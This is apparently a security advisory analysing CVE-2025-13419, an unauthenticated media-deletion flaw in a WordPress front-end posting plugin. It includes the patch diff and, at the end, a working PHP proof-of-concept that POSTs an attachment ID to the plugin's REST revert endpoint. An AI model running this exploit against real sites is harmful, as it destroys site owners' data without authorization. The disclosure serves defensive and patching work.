Atomic Edge analysis of CVE-2025-13419:
The Guest posting / Frontend Posting / Front Editor – WP Front User Submit plugin for WordPress, versions up to and including 5.0.0, contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to delete arbitrary media attachments via a specific REST API endpoint. The CVSS score of 5.3 reflects a medium severity impact.
The root cause is the `revert_file` function in the file `front-editor/inc/fields/FileField.php`. The vulnerable function, prior to the patch, accepted an attachment ID via a REST request and passed it directly to `wp_delete_attachment` without performing any capability or ownership checks. The function lacked any validation to verify if the requesting user had permission to delete the specified media file.
Exploitation involves sending a POST request to the vulnerable REST API endpoint `/wp-json/bfe/v1/revert`. The request body must contain the numeric ID of the target WordPress media attachment. An unauthenticated attacker can identify attachment IDs through enumeration or information disclosure and send a request to this endpoint to delete them.
The patch, implemented in version 5.0.1, adds comprehensive authorization logic to the `revert_file` function. It introduces a session-based tracking mechanism for guest uploads via `$_SESSION[‘bfe_uploaded_files’]`. The function now checks if a logged-in user has the `delete_post` capability for the attachment. For unauthenticated users, it verifies the attachment ID exists within their session’s uploaded files list. If neither condition is met, the function returns a `WP_Error` with a 403 status. The patch also adds a `start_session_if_needed` helper function to manage session state.
Successful exploitation results in the permanent deletion of arbitrary media files from the WordPress site. This can lead to data loss, site defacement if critical images are removed, and disruption of site functionality. The attack does not require any user interaction or authentication.
--- a/front-editor/front-editor.php
+++ b/front-editor/front-editor.php
@@ -12,10 +12,10 @@
* Domain Path: /languages
* PHP requires at least: 7.0
* WP requires at least: 5.0
- * Tested up to: 6.8
+ * Tested up to: 6.9
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
- * Version: 5.0.0
+ * Version: 5.0.1
*/
// Exit if accessed directly
defined( 'ABSPATH' ) || exit;
--- a/front-editor/inc/fields/FileField.php
+++ b/front-editor/inc/fields/FileField.php
@@ -48,10 +48,15 @@
}
public static function process_files( WP_REST_Request $request ) {
+ self::start_session_if_needed();
$files = $request->get_file_params();
foreach ( $files as $file ) {
apply_filters( 'bfe_before_file_filed_process_file', $file );
$image = self::upload_file( $file );
+ if ( !isset( $_SESSION['bfe_uploaded_files'] ) ) {
+ $_SESSION['bfe_uploaded_files'] = [];
+ }
+ $_SESSION['bfe_uploaded_files'][] = $image['attach_id'];
return $image['attach_id'];
}
}
@@ -93,9 +98,41 @@
}
public static function revert_file( WP_REST_Request $request ) {
+ self::start_session_if_needed();
$attachment_id = intval( $request->get_body() );
- if ( !empty( $attachment_id ) && $attachment_id ) {
- $deleted = wp_delete_attachment( $attachment_id, true );
+ if ( empty( $attachment_id ) ) {
+ return new WP_Error('invalid_id', __( 'Invalid attachment ID.', 'front-editor' ), [
+ 'status' => 400,
+ ]);
+ }
+ $authorized = false;
+ $is_guest_upload = false;
+ if ( is_user_logged_in() ) {
+ if ( current_user_can( 'delete_post', $attachment_id ) ) {
+ $authorized = true;
+ }
+ }
+ if ( !$authorized && !empty( $_SESSION['bfe_uploaded_files'] ) && in_array( $attachment_id, $_SESSION['bfe_uploaded_files'] ) ) {
+ $authorized = true;
+ $is_guest_upload = true;
+ }
+ if ( !$authorized ) {
+ return new WP_Error('rest_forbidden', __( 'Sorry, you are not allowed to delete this attachment.', 'front-editor' ), [
+ 'status' => 403,
+ ]);
+ }
+ $deleted = wp_delete_attachment( $attachment_id, true );
+ if ( $deleted && $is_guest_upload ) {
+ $index = array_search( $attachment_id, $_SESSION['bfe_uploaded_files'] );
+ if ( $index !== false ) {
+ unset($_SESSION['bfe_uploaded_files'][$index]);
+ }
+ }
+ }
+
+ private static function start_session_if_needed() {
+ if ( session_status() === PHP_SESSION_NONE ) {
+ session_start();
}
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13419 - Guest posting / Frontend Posting / Front Editor – WP Front User Submit <= 5.0.0 - Missing Authorization to Unauthenticated Media Deletion
<?php
$target_url = 'http://target-site.com'; // CHANGE THIS
$attachment_id = 123; // CHANGE THIS to the ID of the media file to delete
$endpoint = $target_url . '/wp-json/bfe/v1/revert';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $attachment_id); // Send the ID as the raw request body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The vulnerability does not require authentication or a nonce.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response Body: $responsen";
// A successful deletion on the vulnerable version will typically return a 200 status.
?>
